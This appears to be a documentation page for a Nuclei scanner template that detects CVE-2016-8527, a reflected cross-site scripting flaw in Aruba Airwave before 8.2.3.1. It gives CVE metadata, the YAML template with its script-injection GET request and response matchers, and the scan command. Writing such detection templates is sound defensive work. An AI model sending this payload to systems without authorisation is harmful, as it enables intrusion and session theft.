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Aruba Airwave <8.2.3.1 - Cross-Site Scripting

ID: CVE-2016-8527

Severity: medium

Author: pikpikcu

Tags: cve2016,cve,aruba,xss,edb,hp

Description

Section titled “Description”

Aruba Airwave before version 8.2.3.1 is vulnerable to reflected cross-site scripting.

YAML Source

Section titled “YAML Source”
id: CVE-2016-8527


info:
  name: Aruba Airwave <8.2.3.1 - Cross-Site Scripting
  author: pikpikcu
  severity: medium
  description: Aruba Airwave before version 8.2.3.1 is vulnerable to reflected cross-site scripting.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade Aruba Airwave to version 8.2.3.1 or later to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/41482
    - http://www.arubanetworks.com/assets/alert/ARUBA-PSA-2017-001.txt
    - https://www.exploit-db.com/exploits/41482/
    - https://nvd.nist.gov/vuln/detail/CVE-2016-8527
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2016-8527
    cwe-id: CWE-79
    epss-score: 0.00117
    epss-percentile: 0.45479
    cpe: cpe:2.3:a:hp:airwave:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: hp
    product: airwave
  tags: cve2016,cve,aruba,xss,edb,hp


http:
  - method: GET
    path:
      - "{{BaseURL}}/visualrf/group_list.xml?aps=1&start=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&end=500&match"


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"


      - type: word
        part: header
        words:
          - text/html


      - type: status
        status:
          - 200
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Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2016/CVE-2016-8527.yaml"

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